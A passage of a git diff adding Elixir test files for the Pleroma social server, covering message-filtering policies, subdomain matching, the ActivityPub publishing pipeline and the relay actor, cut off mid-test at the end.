"type" => "Image" + }, + "image" => %{ + "url" => "http://example.com/image.jpg", + "type" => "Image" + }, + "type" => "Person" + } + end + + defp build_remote_deletion_message do + %{ + "type" => "Delete", + "actor" => "https://remote.instance/users/bob" + } + end +end diff --git a/test/pleroma/web/activity_pub/mrf/steal_emoji_policy_test.exs b/test/pleroma/web/activity_pub/mrf/steal_emoji_policy_test.exs new file mode 100644 index 000000000..3f8222736 --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/steal_emoji_policy_test.exs @@ -0,0 +1,68 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.StealEmojiPolicyTest do + use Pleroma.DataCase + + alias Pleroma.Config + alias Pleroma.Web.ActivityPub.MRF.StealEmojiPolicy + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + setup do + emoji_path = Path.join(Config.get([:instance, :static_dir]), "emoji/stolen") + File.rm_rf!(emoji_path) + File.mkdir!(emoji_path) + + Pleroma.Emoji.reload() + + on_exit(fn -> + File.rm_rf!(emoji_path) + end) + + :ok + end + + test "does nothing by default" do + installed_emoji = Pleroma.Emoji.get_all() |> Enum.map(fn {k, _} -> k end) + refute "firedfox" in installed_emoji + + message = %{ + "type" => "Create", + "object" => %{ + "emoji" => [{"firedfox", "https://example.org/emoji/firedfox.png"}], + "actor" => "https://example.org/users/admin" + } + } + + assert {:ok, message} == StealEmojiPolicy.filter(message) + + installed_emoji = Pleroma.Emoji.get_all() |> Enum.map(fn {k, _} -> k end) + refute "firedfox" in installed_emoji + end + + test "Steals emoji on unknown shortcode from allowed remote host" do + installed_emoji = Pleroma.Emoji.get_all() |> Enum.map(fn {k, _} -> k end) + refute "firedfox" in installed_emoji + + message = %{ + "type" => "Create", + "object" => %{ + "emoji" => [{"firedfox", "https://example.org/emoji/firedfox.png"}], + "actor" => "https://example.org/users/admin" + } + } + + clear_config([:mrf_steal_emoji, :hosts], ["example.org"]) + clear_config([:mrf_steal_emoji, :size_limit], 284_468) + + assert {:ok, message} == StealEmojiPolicy.filter(message) + + installed_emoji = Pleroma.Emoji.get_all() |> Enum.map(fn {k, _} -> k end) + assert "firedfox" in installed_emoji + end +end diff --git a/test/pleroma/web/activity_pub/mrf/subchain_policy_test.exs b/test/pleroma/web/activity_pub/mrf/subchain_policy_test.exs new file mode 100644 index 000000000..fff66cb7e --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/subchain_policy_test.exs @@ -0,0 +1,33 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.SubchainPolicyTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.MRF.DropPolicy + alias Pleroma.Web.ActivityPub.MRF.SubchainPolicy + + @message %{ + "actor" => "https://banned.com", + "type" => "Create", + "object" => %{"content" => "hi"} + } + setup do: clear_config([:mrf_subchain, :match_actor]) + + test "it matches and processes subchains when the actor matches a configured target" do + Pleroma.Config.put([:mrf_subchain, :match_actor], %{ + ~r/^https:\/\/banned.com/s => [DropPolicy] + }) + + {:reject, _} = SubchainPolicy.filter(@message) + end + + test "it doesn't match and process subchains when the actor doesn't match a configured target" do + Pleroma.Config.put([:mrf_subchain, :match_actor], %{ + ~r/^https:\/\/borked.com/s => [DropPolicy] + }) + + {:ok, _message} = SubchainPolicy.filter(@message) + end +end diff --git a/test/pleroma/web/activity_pub/mrf/tag_policy_test.exs b/test/pleroma/web/activity_pub/mrf/tag_policy_test.exs new file mode 100644 index 000000000..6ff71d640 --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/tag_policy_test.exs @@ -0,0 +1,123 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.TagPolicyTest do + use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.Web.ActivityPub.MRF.TagPolicy + @public "https://www.w3.org/ns/activitystreams#Public" + + describe "mrf_tag:disable-any-subscription" do + test "rejects message" do + actor = insert(:user, tags: ["mrf_tag:disable-any-subscription"]) + message = %{"object" => actor.ap_id, "type" => "Follow", "actor" => actor.ap_id} + assert {:reject, _} = TagPolicy.filter(message) + end + end + + describe "mrf_tag:disable-remote-subscription" do + test "rejects non-local follow requests" do + actor = insert(:user, tags: ["mrf_tag:disable-remote-subscription"]) + follower = insert(:user, tags: ["mrf_tag:disable-remote-subscription"], local: false) + message = %{"object" => actor.ap_id, "type" => "Follow", "actor" => follower.ap_id} + assert {:reject, _} = TagPolicy.filter(message) + end + + test "allows non-local follow requests" do + actor = insert(:user, tags: ["mrf_tag:disable-remote-subscription"]) + follower = insert(:user, tags: ["mrf_tag:disable-remote-subscription"], local: true) + message = %{"object" => actor.ap_id, "type" => "Follow", "actor" => follower.ap_id} + assert {:ok, message} = TagPolicy.filter(message) + end + end + + describe "mrf_tag:sandbox" do + test "removes from public timelines" do + actor = insert(:user, tags: ["mrf_tag:sandbox"]) + + message = %{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{}, + "to" => [@public, "f"], + "cc" => [@public, "d"] + } + + except_message = %{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{"to" => ["f", actor.follower_address], "cc" => ["d"]}, + "to" => ["f", actor.follower_address], + "cc" => ["d"] + } + + assert TagPolicy.filter(message) == {:ok, except_message} + end + end + + describe "mrf_tag:force-unlisted" do + test "removes from the federated timeline" do + actor = insert(:user, tags: ["mrf_tag:force-unlisted"]) + + message = %{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{}, + "to" => [@public, "f"], + "cc" => [actor.follower_address, "d"] + } + + except_message = %{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{"to" => ["f", actor.follower_address], "cc" => ["d", @public]}, + "to" => ["f", actor.follower_address], + "cc" => ["d", @public] + } + + assert TagPolicy.filter(message) == {:ok, except_message} + end + end + + describe "mrf_tag:media-strip" do + test "removes attachments" do + actor = insert(:user, tags: ["mrf_tag:media-strip"]) + + message = %{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{"attachment" => ["file1"]} + } + + except_message = %{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{} + } + + assert TagPolicy.filter(message) == {:ok, except_message} + end + end + + describe "mrf_tag:media-force-nsfw" do + test "Mark as sensitive on presence of attachments" do + actor = insert(:user, tags: ["mrf_tag:media-force-nsfw"]) + + message = %{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{"tag" => ["test"], "attachment" => ["file1"]} + } + + except_message = %{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{"tag" => ["test", "nsfw"], "attachment" => ["file1"], "sensitive" => true} + } + + assert TagPolicy.filter(message) == {:ok, except_message} + end + end +end diff --git a/test/pleroma/web/activity_pub/mrf/user_allow_list_policy_test.exs b/test/pleroma/web/activity_pub/mrf/user_allow_list_policy_test.exs new file mode 100644 index 000000000..8e1ad5bc8 --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/user_allow_list_policy_test.exs @@ -0,0 +1,31 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only +defmodule Pleroma.Web.ActivityPub.MRF.UserAllowListPolicyTest do + use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.Web.ActivityPub.MRF.UserAllowListPolicy + + setup do: clear_config(:mrf_user_allowlist) + + test "pass filter if allow list is empty" do + actor = insert(:user) + message = %{"actor" => actor.ap_id} + assert UserAllowListPolicy.filter(message) == {:ok, message} + end + + test "pass filter if allow list isn't empty and user in allow list" do + actor = insert(:user) + Pleroma.Config.put([:mrf_user_allowlist], %{"localhost" => [actor.ap_id, "test-ap-id"]}) + message = %{"actor" => actor.ap_id} + assert UserAllowListPolicy.filter(message) == {:ok, message} + end + + test "rejected if allow list isn't empty and user not in allow list" do + actor = insert(:user) + Pleroma.Config.put([:mrf_user_allowlist], %{"localhost" => ["test-ap-id"]}) + message = %{"actor" => actor.ap_id} + assert {:reject, _} = UserAllowListPolicy.filter(message) + end +end diff --git a/test/pleroma/web/activity_pub/mrf/vocabulary_policy_test.exs b/test/pleroma/web/activity_pub/mrf/vocabulary_policy_test.exs new file mode 100644 index 000000000..2bceb67ee --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/vocabulary_policy_test.exs @@ -0,0 +1,106 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.VocabularyPolicyTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.MRF.VocabularyPolicy + + describe "accept" do + setup do: clear_config([:mrf_vocabulary, :accept]) + + test "it accepts based on parent activity type" do + Pleroma.Config.put([:mrf_vocabulary, :accept], ["Like"]) + + message = %{ + "type" => "Like", + "object" => "whatever" + } + + {:ok, ^message} = VocabularyPolicy.filter(message) + end + + test "it accepts based on child object type" do + Pleroma.Config.put([:mrf_vocabulary, :accept], ["Create", "Note"]) + + message = %{ + "type" => "Create", + "object" => %{ + "type" => "Note", + "content" => "whatever" + } + } + + {:ok, ^message} = VocabularyPolicy.filter(message) + end + + test "it does not accept disallowed child objects" do + Pleroma.Config.put([:mrf_vocabulary, :accept], ["Create", "Note"]) + + message = %{ + "type" => "Create", + "object" => %{ + "type" => "Article", + "content" => "whatever" + } + } + + {:reject, _} = VocabularyPolicy.filter(message) + end + + test "it does not accept disallowed parent types" do + Pleroma.Config.put([:mrf_vocabulary, :accept], ["Announce", "Note"]) + + message = %{ + "type" => "Create", + "object" => %{ + "type" => "Note", + "content" => "whatever" + } + } + + {:reject, _} = VocabularyPolicy.filter(message) + end + end + + describe "reject" do + setup do: clear_config([:mrf_vocabulary, :reject]) + + test "it rejects based on parent activity type" do + Pleroma.Config.put([:mrf_vocabulary, :reject], ["Like"]) + + message = %{ + "type" => "Like", + "object" => "whatever" + } + + {:reject, _} = VocabularyPolicy.filter(message) + end + + test "it rejects based on child object type" do + Pleroma.Config.put([:mrf_vocabulary, :reject], ["Note"]) + + message = %{ + "type" => "Create", + "object" => %{ + "type" => "Note", + "content" => "whatever" + } + } + + {:reject, _} = VocabularyPolicy.filter(message) + end + + test "it passes through objects that aren't disallowed" do + Pleroma.Config.put([:mrf_vocabulary, :reject], ["Like"]) + + message = %{ + "type" => "Announce", + "object" => "whatever" + } + + {:ok, ^message} = VocabularyPolicy.filter(message) + end + end +end diff --git a/test/pleroma/web/activity_pub/mrf_test.exs b/test/pleroma/web/activity_pub/mrf_test.exs new file mode 100644 index 000000000..e8cdde2e1 --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf_test.exs @@ -0,0 +1,90 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRFTest do + use ExUnit.Case, async: true + use Pleroma.Tests.Helpers + alias Pleroma.Web.ActivityPub.MRF + + test "subdomains_regex/1" do + assert MRF.subdomains_regex(["unsafe.tld", "*.unsafe.tld"]) == [ + ~r/^unsafe.tld$/i, + ~r/^(.*\.)*unsafe.tld$/i + ] + end + + describe "subdomain_match/2" do + test "common domains" do + regexes = MRF.subdomains_regex(["unsafe.tld", "unsafe2.tld"]) + + assert regexes == [~r/^unsafe.tld$/i, ~r/^unsafe2.tld$/i] + + assert MRF.subdomain_match?(regexes, "unsafe.tld") + assert MRF.subdomain_match?(regexes, "unsafe2.tld") + + refute MRF.subdomain_match?(regexes, "example.com") + end + + test "wildcard domains with one subdomain" do + regexes = MRF.subdomains_regex(["*.unsafe.tld"]) + + assert regexes == [~r/^(.*\.)*unsafe.tld$/i] + + assert MRF.subdomain_match?(regexes, "unsafe.tld") + assert MRF.subdomain_match?(regexes, "sub.unsafe.tld") + refute MRF.subdomain_match?(regexes, "anotherunsafe.tld") + refute MRF.subdomain_match?(regexes, "unsafe.tldanother") + end + + test "wildcard domains with two subdomains" do + regexes = MRF.subdomains_regex(["*.unsafe.tld"]) + + assert regexes == [~r/^(.*\.)*unsafe.tld$/i] + + assert MRF.subdomain_match?(regexes, "unsafe.tld") + assert MRF.subdomain_match?(regexes, "sub.sub.unsafe.tld") + refute MRF.subdomain_match?(regexes, "sub.anotherunsafe.tld") + refute MRF.subdomain_match?(regexes, "sub.unsafe.tldanother") + end + + test "matches are case-insensitive" do + regexes = MRF.subdomains_regex(["UnSafe.TLD", "UnSAFE2.Tld"]) + + assert regexes == [~r/^UnSafe.TLD$/i, ~r/^UnSAFE2.Tld$/i] + + assert MRF.subdomain_match?(regexes, "UNSAFE.TLD") + assert MRF.subdomain_match?(regexes, "UNSAFE2.TLD") + assert MRF.subdomain_match?(regexes, "unsafe.tld") + assert MRF.subdomain_match?(regexes, "unsafe2.tld") + + refute MRF.subdomain_match?(regexes, "EXAMPLE.COM") + refute MRF.subdomain_match?(regexes, "example.com") + end + end + + describe "describe/0" do + test "it works as expected with noop policy" do + clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.NoOpPolicy]) + + expected = %{ + mrf_policies: ["NoOpPolicy"], + exclusions: false + } + + {:ok, ^expected} = MRF.describe() + end + + test "it works as expected with mock policy" do + clear_config([:mrf, :policies], [MRFModuleMock]) + + expected = %{ + mrf_policies: ["MRFModuleMock"], + mrf_module_mock: "some config data", + exclusions: false + } + + {:ok, ^expected} = MRF.describe() + end + end +end diff --git a/test/pleroma/web/activity_pub/pipeline_test.exs b/test/pleroma/web/activity_pub/pipeline_test.exs new file mode 100644 index 000000000..210a06563 --- /dev/null +++ b/test/pleroma/web/activity_pub/pipeline_test.exs @@ -0,0 +1,179 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.PipelineTest do + use Pleroma.DataCase + + import Mock + import Pleroma.Factory + + describe "common_pipeline/2" do + setup do + clear_config([:instance, :federating], true) + :ok + end + + test "when given an `object_data` in meta, Federation will receive a the original activity with the `object` field set to this embedded object" do + activity = insert(:note_activity) + object = %{"id" => "1", "type" => "Love"} + meta = [local: true, object_data: object] + + activity_with_object = %{activity | data: Map.put(activity.data, "object", object)} + + with_mocks([ + {Pleroma.Web.ActivityPub.ObjectValidator, [], [validate: fn o, m -> {:ok, o, m} end]}, + { + Pleroma.Web.ActivityPub.MRF, + [], + [pipeline_filter: fn o, m -> {:ok, o, m} end] + }, + { + Pleroma.Web.ActivityPub.ActivityPub, + [], + [persist: fn o, m -> {:ok, o, m} end] + }, + { + Pleroma.Web.ActivityPub.SideEffects, + [], + [ + handle: fn o, m -> {:ok, o, m} end, + handle_after_transaction: fn m -> m end + ] + }, + { + Pleroma.Web.Federator, + [], + [publish: fn _o -> :ok end] + } + ]) do + assert {:ok, ^activity, ^meta} = + Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta) + + assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta)) + assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta)) + assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta)) + assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta)) + refute called(Pleroma.Web.Federator.publish(activity)) + assert_called(Pleroma.Web.Federator.publish(activity_with_object)) + end + end + + test "it goes through validation, filtering, persisting, side effects and federation for local activities" do + activity = insert(:note_activity) + meta = [local: true] + + with_mocks([ + {Pleroma.Web.ActivityPub.ObjectValidator, [], [validate: fn o, m -> {:ok, o, m} end]}, + { + Pleroma.Web.ActivityPub.MRF, + [], + [pipeline_filter: fn o, m -> {:ok, o, m} end] + }, + { + Pleroma.Web.ActivityPub.ActivityPub, + [], + [persist: fn o, m -> {:ok, o, m} end] + }, + { + Pleroma.Web.ActivityPub.SideEffects, + [], + [ + handle: fn o, m -> {:ok, o, m} end, + handle_after_transaction: fn m -> m end + ] + }, + { + Pleroma.Web.Federator, + [], + [publish: fn _o -> :ok end] + } + ]) do + assert {:ok, ^activity, ^meta} = + Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta) + + assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta)) + assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta)) + assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta)) + assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta)) + assert_called(Pleroma.Web.Federator.publish(activity)) + end + end + + test "it goes through validation, filtering, persisting, side effects without federation for remote activities" do + activity = insert(:note_activity) + meta = [local: false] + + with_mocks([ + {Pleroma.Web.ActivityPub.ObjectValidator, [], [validate: fn o, m -> {:ok, o, m} end]}, + { + Pleroma.Web.ActivityPub.MRF, + [], + [pipeline_filter: fn o, m -> {:ok, o, m} end] + }, + { + Pleroma.Web.ActivityPub.ActivityPub, + [], + [persist: fn o, m -> {:ok, o, m} end] + }, + { + Pleroma.Web.ActivityPub.SideEffects, + [], + [handle: fn o, m -> {:ok, o, m} end, handle_after_transaction: fn m -> m end] + }, + { + Pleroma.Web.Federator, + [], + [] + } + ]) do + assert {:ok, ^activity, ^meta} = + Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta) + + assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta)) + assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta)) + assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta)) + assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta)) + end + end + + test "it goes through validation, filtering, persisting, side effects without federation for local activities if federation is deactivated" do + clear_config([:instance, :federating], false) + + activity = insert(:note_activity) + meta = [local: true] + + with_mocks([ + {Pleroma.Web.ActivityPub.ObjectValidator, [], [validate: fn o, m -> {:ok, o, m} end]}, + { + Pleroma.Web.ActivityPub.MRF, + [], + [pipeline_filter: fn o, m -> {:ok, o, m} end] + }, + { + Pleroma.Web.ActivityPub.ActivityPub, + [], + [persist: fn o, m -> {:ok, o, m} end] + }, + { + Pleroma.Web.ActivityPub.SideEffects, + [], + [handle: fn o, m -> {:ok, o, m} end, handle_after_transaction: fn m -> m end] + }, + { + Pleroma.Web.Federator, + [], + [] + } + ]) do + assert {:ok, ^activity, ^meta} = + Pleroma.Web.ActivityPub.Pipeline.common_pipeline(activity, meta) + + assert_called(Pleroma.Web.ActivityPub.ObjectValidator.validate(activity, meta)) + assert_called(Pleroma.Web.ActivityPub.MRF.pipeline_filter(activity, meta)) + assert_called(Pleroma.Web.ActivityPub.ActivityPub.persist(activity, meta)) + assert_called(Pleroma.Web.ActivityPub.SideEffects.handle(activity, meta)) + end + end + end +end diff --git a/test/pleroma/web/activity_pub/publisher_test.exs b/test/pleroma/web/activity_pub/publisher_test.exs new file mode 100644 index 000000000..b9388b966 --- /dev/null +++ b/test/pleroma/web/activity_pub/publisher_test.exs @@ -0,0 +1,365 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.PublisherTest do + use Pleroma.Web.ConnCase + + import ExUnit.CaptureLog + import Pleroma.Factory + import Tesla.Mock + import Mock + + alias Pleroma.Activity + alias Pleroma.Instances + alias Pleroma.Object + alias Pleroma.Web.ActivityPub.Publisher + alias Pleroma.Web.CommonAPI + + @as_public "https://www.w3.org/ns/activitystreams#Public" + + setup do + mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + setup_all do: clear_config([:instance, :federating], true) + + describe "gather_webfinger_links/1" do + test "it returns links" do + user = insert(:user) + + expected_links = [ + %{"href" => user.ap_id, "rel" => "self", "type" => "application/activity+json"}, + %{ + "href" => user.ap_id, + "rel" => "self", + "type" => "application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"" + }, + %{ + "rel" => "http://ostatus.org/schema/1.0/subscribe", + "template" => "#{Pleroma.Web.base_url()}/ostatus_subscribe?acct={uri}" + } + ] + + assert expected_links == Publisher.gather_webfinger_links(user) + end + end + + describe "determine_inbox/2" do + test "it returns sharedInbox for messages involving as:Public in to" do + user = insert(:user, %{shared_inbox: "http://example.com/inbox"}) + + activity = %Activity{ + data: %{"to" => [@as_public], "cc" => [user.follower_address]} + } + + assert Publisher.determine_inbox(activity, user) == "http://example.com/inbox" + end + + test "it returns sharedInbox for messages involving as:Public in cc" do + user = insert(:user, %{shared_inbox: "http://example.com/inbox"}) + + activity = %Activity{ + data: %{"cc" => [@as_public], "to" => [user.follower_address]} + } + + assert Publisher.determine_inbox(activity, user) == "http://example.com/inbox" + end + + test "it returns sharedInbox for messages involving multiple recipients in to" do + user = insert(:user, %{shared_inbox: "http://example.com/inbox"}) + user_two = insert(:user) + user_three = insert(:user) + + activity = %Activity{ + data: %{"cc" => [], "to" => [user.ap_id, user_two.ap_id, user_three.ap_id]} + } + + assert Publisher.determine_inbox(activity, user) == "http://example.com/inbox" + end + + test "it returns sharedInbox for messages involving multiple recipients in cc" do + user = insert(:user, %{shared_inbox: "http://example.com/inbox"}) + user_two = insert(:user) + user_three = insert(:user) + + activity = %Activity{ + data: %{"to" => [], "cc" => [user.ap_id, user_two.ap_id, user_three.ap_id]} + } + + assert Publisher.determine_inbox(activity, user) == "http://example.com/inbox" + end + + test "it returns sharedInbox for messages involving multiple recipients in total" do + user = + insert(:user, %{ + shared_inbox: "http://example.com/inbox", + inbox: "http://example.com/personal-inbox" + }) + + user_two = insert(:user) + + activity = %Activity{ + data: %{"to" => [user_two.ap_id], "cc" => [user.ap_id]} + } + + assert Publisher.determine_inbox(activity, user) == "http://example.com/inbox" + end + + test "it returns inbox for messages involving single recipients in total" do + user = + insert(:user, %{ + shared_inbox: "http://example.com/inbox", + inbox: "http://example.com/personal-inbox" + }) + + activity = %Activity{ + data: %{"to" => [user.ap_id], "cc" => []} + } + + assert Publisher.determine_inbox(activity, user) == "http://example.com/personal-inbox" + end + end + + describe "publish_one/1" do + test "publish to url with with different ports" do + inbox80 = "http://42.site/users/nick1/inbox" + inbox42 = "http://42.site:42/users/nick1/inbox" + + mock(fn + %{method: :post, url: "http://42.site:42/users/nick1/inbox"} -> + {:ok, %Tesla.Env{status: 200, body: "port 42"}} + + %{method: :post, url: "http://42.site/users/nick1/inbox"} -> + {:ok, %Tesla.Env{status: 200, body: "port 80"}} + end) + + actor = insert(:user) + + assert {:ok, %{body: "port 42"}} = + Publisher.publish_one(%{ + inbox: inbox42, + json: "{}", + actor: actor, + id: 1, + unreachable_since: true + }) + + assert {:ok, %{body: "port 80"}} = + Publisher.publish_one(%{ + inbox: inbox80, + json: "{}", + actor: actor, + id: 1, + unreachable_since: true + }) + end + + test_with_mock "calls `Instances.set_reachable` on successful federation if `unreachable_since` is not specified", + Instances, + [:passthrough], + [] do + actor = insert(:user) + inbox = "http://200.site/users/nick1/inbox" + + assert {:ok, _} = Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1}) + assert called(Instances.set_reachable(inbox)) + end + + test_with_mock "calls `Instances.set_reachable` on successful federation if `unreachable_since` is set", + Instances, + [:passthrough], + [] do + actor = insert(:user) + inbox = "http://200.site/users/nick1/inbox" + + assert {:ok, _} = + Publisher.publish_one(%{ + inbox: inbox, + json: "{}", + actor: actor, + id: 1, + unreachable_since: NaiveDateTime.utc_now() + }) + + assert called(Instances.set_reachable(inbox)) + end + + test_with_mock "does NOT call `Instances.set_reachable` on successful federation if `unreachable_since` is nil", + Instances, + [:passthrough], + [] do + actor = insert(:user) + inbox = "http://200.site/users/nick1/inbox" + + assert {:ok, _} = + Publisher.publish_one(%{ + inbox: inbox, + json: "{}", + actor: actor, + id: 1, + unreachable_since: nil + }) + + refute called(Instances.set_reachable(inbox)) + end + + test_with_mock "calls `Instances.set_unreachable` on target inbox on non-2xx HTTP response code", + Instances, + [:passthrough], + [] do + actor = insert(:user) + inbox = "http://404.site/users/nick1/inbox" + + assert {:error, _} = Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1}) + + assert called(Instances.set_unreachable(inbox)) + end + + test_with_mock "it calls `Instances.set_unreachable` on target inbox on request error of any kind", + Instances, + [:passthrough], + [] do + actor = insert(:user) + inbox = "http://connrefused.site/users/nick1/inbox" + + assert capture_log(fn -> + assert {:error, _} = + Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1}) + end) =~ "connrefused" + + assert called(Instances.set_unreachable(inbox)) + end + + test_with_mock "does NOT call `Instances.set_unreachable` if target is reachable", + Instances, + [:passthrough], + [] do + actor = insert(:user) + inbox = "http://200.site/users/nick1/inbox" + + assert {:ok, _} = Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1}) + + refute called(Instances.set_unreachable(inbox)) + end + + test_with_mock "does NOT call `Instances.set_unreachable` if target instance has non-nil `unreachable_since`", + Instances, + [:passthrough], + [] do + actor = insert(:user) + inbox = "http://connrefused.site/users/nick1/inbox" + + assert capture_log(fn -> + assert {:error, _} = + Publisher.publish_one(%{ + inbox: inbox, + json: "{}", + actor: actor, + id: 1, + unreachable_since: NaiveDateTime.utc_now() + }) + end) =~ "connrefused" + + refute called(Instances.set_unreachable(inbox)) + end + end + + describe "publish/2" do + test_with_mock "publishes an activity with BCC to all relevant peers.", + Pleroma.Web.Federator.Publisher, + [:passthrough], + [] do + follower = + insert(:user, %{ + local: false, + inbox: "https://domain.com/users/nick1/inbox", + ap_enabled: true + }) + + actor = insert(:user, follower_address: follower.ap_id) + user = insert(:user) + + {:ok, _follower_one} = Pleroma.User.follow(follower, actor) + actor = refresh_record(actor) + + note_activity = + insert(:note_activity, + recipients: [follower.ap_id], + data_attrs: %{"bcc" => [user.ap_id]} + ) + + res = Publisher.publish(actor, note_activity) + assert res == :ok + + assert called( + Pleroma.Web.Federator.Publisher.enqueue_one(Publisher, %{ + inbox: "https://domain.com/users/nick1/inbox", + actor_id: actor.id, + id: note_activity.data["id"] + }) + ) + end + + test_with_mock "publishes a delete activity to peers who signed fetch requests to the create acitvity/object.", + Pleroma.Web.Federator.Publisher, + [:passthrough], + [] do + fetcher = + insert(:user, + local: false, + inbox: "https://domain.com/users/nick1/inbox", + ap_enabled: true + ) + + another_fetcher = + insert(:user, + local: false, + inbox: "https://domain2.com/users/nick1/inbox", + ap_enabled: true + ) + + actor = insert(:user) + + note_activity = insert(:note_activity, user: actor) + object = Object.normalize(note_activity) + + activity_path = String.trim_leading(note_activity.data["id"], Pleroma.Web.Endpoint.url()) + object_path = String.trim_leading(object.data["id"], Pleroma.Web.Endpoint.url()) + + build_conn() + |> put_req_header("accept", "application/activity+json") + |> assign(:user, fetcher) + |> get(object_path) + |> json_response(200) + + build_conn() + |> put_req_header("accept", "application/activity+json") + |> assign(:user, another_fetcher) + |> get(activity_path) + |> json_response(200) + + {:ok, delete} = CommonAPI.delete(note_activity.id, actor) + + res = Publisher.publish(actor, delete) + assert res == :ok + + assert called( + Pleroma.Web.Federator.Publisher.enqueue_one(Publisher, %{ + inbox: "https://domain.com/users/nick1/inbox", + actor_id: actor.id, + id: delete.data["id"] + }) + ) + + assert called( + Pleroma.Web.Federator.Publisher.enqueue_one(Publisher, %{ + inbox: "https://domain2.com/users/nick1/inbox", + actor_id: actor.id, + id: delete.data["id"] + }) + ) + end + end +end diff --git a/test/pleroma/web/activity_pub/relay_test.exs b/test/pleroma/web/activity_pub/relay_test.exs new file mode 100644 index 000000000..3284980f7 --- /dev/null +++ b/test/pleroma/web/activity_pub/relay_test.exs @@ -0,0 +1,168 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.RelayTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.User + alias Pleroma.Web.ActivityPub.Relay + alias Pleroma.Web.CommonAPI + + import ExUnit.CaptureLog + import Pleroma.Factory + import Mock + + test "gets an actor for the relay" do + user = Relay.get_actor() + assert user.ap_id == "#{Pleroma.Web.Endpoint.url()}/relay" + end + + test "relay actor is invisible" do + user = Relay.get_actor() + assert User.invisible?(user) + end + + describe "follow/1" do + test "returns errors when user not found" do + assert capture_log(fn -> + {:error, _} = Relay.follow("test-ap-id") + end) =~ "Could not decode user at fetch" + end + + test "returns activity" do + user = insert(:user) + service_actor = Relay.get_actor() + assert {:ok, %Activity{} = activity} = Relay.follow(user.ap_id) + assert activity.actor == "#{Pleroma.Web.Endpoint.url()}/relay" + assert user.ap_id in activity.recipients + assert activity.data["type"] == "Follow" + assert activity.data["actor"] == service_actor.ap_id + assert activity.data["object"] == user.ap_id + end + end + + describe "unfollow/1" do + test "returns errors when user not found" do + assert capture_log(fn -> + {:error, _} = Relay.unfollow("test-ap-id") + end) =~ "Could not decode user at fetch" + end + + test "returns activity" do + user = insert(:user) + service_actor = Relay.get_actor() + CommonAPI.follow(service_actor, user) + assert "#{user.ap_id}/followers" in User.following(service_actor) + assert {:ok, %Activity{} = activity} = Relay.unfollow(user.ap_id) + assert activity.actor == "#{Pleroma.Web.Endpoint.url()}/relay" + assert user.ap_id in activity.recipients + assert activity.data["type"] == "Undo" + assert activity.data["actor"] == service_actor.ap_id + assert activity.data["to"] == [user.ap_id] + refute "#{user.ap_id}/followers" in User.following(service_actor) + end + + test "force unfollow when target service is dead" do + user = insert(:user) + 